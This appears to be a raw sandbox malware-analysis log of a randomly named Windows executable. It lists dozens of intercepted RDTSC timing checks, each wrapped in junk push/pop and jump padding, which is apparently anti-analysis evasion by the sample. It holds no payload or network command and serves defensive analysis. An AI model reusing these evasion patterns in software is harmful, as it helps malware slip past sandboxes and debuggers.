Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E1052E second address: E1054B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8784B30568h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E1054B second address: E10550 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E106BF second address: E106C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E106C6 second address: E106DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8784D62271h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E10821 second address: E1083D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push edi 0x00000006 jmp 00007F8784B30565h 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E1083D second address: E10842 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E10842 second address: E10848 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E172B2 second address: E172BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F8784D62266h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E172BE second address: E172C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E172C2 second address: E172D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jl 00007F8784D62266h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E172D2 second address: E172D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E15B86 second address: E15B8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E15B8A second address: E15B90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E15DE7 second address: E15E07 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8784D62271h 0x00000008 jnc 00007F8784D62266h 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E15F3C second address: E15F4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8784B3055Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E15F4A second address: E15F4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E160C0 second address: E160D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8784B3055Dh 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E1626A second address: E1627A instructions: 0x00000000 rdtsc 0x00000002 ja 00007F8784D62266h 0x00000008 jo 00007F8784D62266h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DCCD38 second address: DCCD4D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784B30561h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: DCCD4D second address: DCCD68 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8784D62277h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E16435 second address: E16459 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F8784B30556h 0x0000000a popad 0x0000000b pushad 0x0000000c jns 00007F8784B30556h 0x00000012 jmp 00007F8784B3055Eh 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E16FB9 second address: E16FC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 ja 00007F8784D6226Eh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E1B13C second address: E1B150 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F8784B30556h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jnc 00007F8784B3055Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E1B150 second address: E1B154 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E1B154 second address: E1B172 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F8784B30568h 0x00000008 jmp 00007F8784B30560h 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E1B2B2 second address: E1B2B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E1B2B6 second address: E1B2D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F8784B30561h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E1B2D3 second address: E1B2D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E1B40C second address: E1B42E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F8784B30565h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f pushad 0x00000010 popad 0x00000011 pop esi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E1B42E second address: E1B46E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8784D62275h 0x00000008 jbe 00007F8784D62266h 0x0000000e jmp 00007F8784D62273h 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 js 00007F8784D62266h 0x0000001c jo 00007F8784D62266h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E1EC38 second address: E1EC3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E1E377 second address: E1E37D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E1E37D second address: E1E386 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E1E386 second address: E1E391 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E1E391 second address: E1E3B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784B30568h 0x00000007 push edx 0x00000008 jbe 00007F8784B30556h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E2637F second address: E263AC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784D62271h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a jl 00007F8784D62266h 0x00000010 jmp 00007F8784D62270h 0x00000015 pop edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E263AC second address: E263C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F8784B3055Fh 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E2444F second address: E24457 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E245D8 second address: E245E5 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F8784B30558h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E245E5 second address: E245EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E245EB second address: E245FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c jnp 00007F8784B30556h 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E245FE second address: E2461A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8784D62277h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E24910 second address: E24951 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784B30564h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push ecx 0x0000000b jnp 00007F8784B30556h 0x00000011 pop ecx 0x00000012 jbe 00007F8784B3055Eh 0x00000018 jnl 00007F8784B3055Eh 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E24951 second address: E24955 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E24955 second address: E24959 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E24E8E second address: E24E94 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E2512A second address: E25176 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F8784B30567h 0x0000000c jmp 00007F8784B3055Eh 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push ecx 0x00000015 jmp 00007F8784B3055Bh 0x0000001a jo 00007F8784B30556h 0x00000020 pop ecx 0x00000021 push edi 0x00000022 push ecx 0x00000023 pop ecx 0x00000024 jg 00007F8784B30556h 0x0000002a pop edi 0x0000002b rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E2543E second address: E25484 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784D62273h 0x00000007 ja 00007F8784D62266h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007F8784D62275h 0x00000014 jmp 00007F8784D6226Dh 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E25484 second address: E25488 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E25488 second address: E254A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784D62276h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E254A9 second address: E254AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E25D71 second address: E25D78 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E25FF9 second address: E2600F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784B3055Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E2600F second address: E26015 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E26015 second address: E2604A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8784B30568h 0x00000009 popad 0x0000000a pushad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007F8784B30561h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E2B943 second address: E2B95F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8784D62278h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E2B95F second address: E2B97A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F8784B30556h 0x0000000a jmp 00007F8784B30561h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E2B97A second address: E2B97E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E2F749 second address: E2F74F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E2F74F second address: E2F753 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E2E905 second address: E2E91F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F8784B30565h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E2E91F second address: E2E92E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jno 00007F8784D62266h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E2E92E second address: E2E932 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E2E932 second address: E2E938 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E2E938 second address: E2E947 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E354A5 second address: E354A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E3562B second address: E35657 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8784B30560h 0x00000009 jmp 00007F8784B30568h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E3590B second address: E3590F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E3590F second address: E35915 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E35915 second address: E35925 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push esi 0x00000008 pop esi 0x00000009 pushad 0x0000000a popad 0x0000000b push edx 0x0000000c pop edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E35925 second address: E3595C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F8784B30565h 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F8784B30565h 0x00000012 push ecx 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E3595C second address: E35961 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E35961 second address: E35969 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E35969 second address: E35986 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784D62276h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E35DBC second address: E35DC1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E35DC1 second address: E35DD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F8784D62266h 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E35DD2 second address: E35DD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E35F15 second address: E35F53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F8784D62266h 0x0000000a popad 0x0000000b jmp 00007F8784D62277h 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 jmp 00007F8784D6226Ah 0x00000018 push ebx 0x00000019 pop ebx 0x0000001a jmp 00007F8784D6226Ch 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E36346 second address: E3634C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E3634C second address: E36368 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F8784D62276h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E36368 second address: E3636E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E3636E second address: E36378 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F8784D62266h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E37266 second address: E3726A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E3726A second address: E372C0 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F8784D62266h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e push edx 0x0000000f pop edx 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007F8784D6226Eh 0x00000017 popad 0x00000018 pushad 0x00000019 ja 00007F8784D62266h 0x0000001f pushad 0x00000020 popad 0x00000021 jg 00007F8784D62266h 0x00000027 popad 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F8784D62273h 0x0000002f jmp 00007F8784D62270h 0x00000034 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E35043 second address: E35062 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F8784B30563h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E35062 second address: E35072 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F8784D62266h 0x00000008 je 00007F8784D62266h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E35072 second address: E35078 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E3E9CA second address: E3E9F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8784D62270h 0x00000008 jne 00007F8784D62266h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 jc 00007F8784D6228Dh 0x00000017 pushad 0x00000018 push eax 0x00000019 pop eax 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E3E3C5 second address: E3E3C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E3E3C9 second address: E3E3CF instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E3E55E second address: E3E56B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E4E013 second address: E4E029 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jnc 00007F8784D62266h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 ja 00007F8784D62266h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E51208 second address: E51211 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E55F80 second address: E55F86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: E55F86 second address: E55F8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
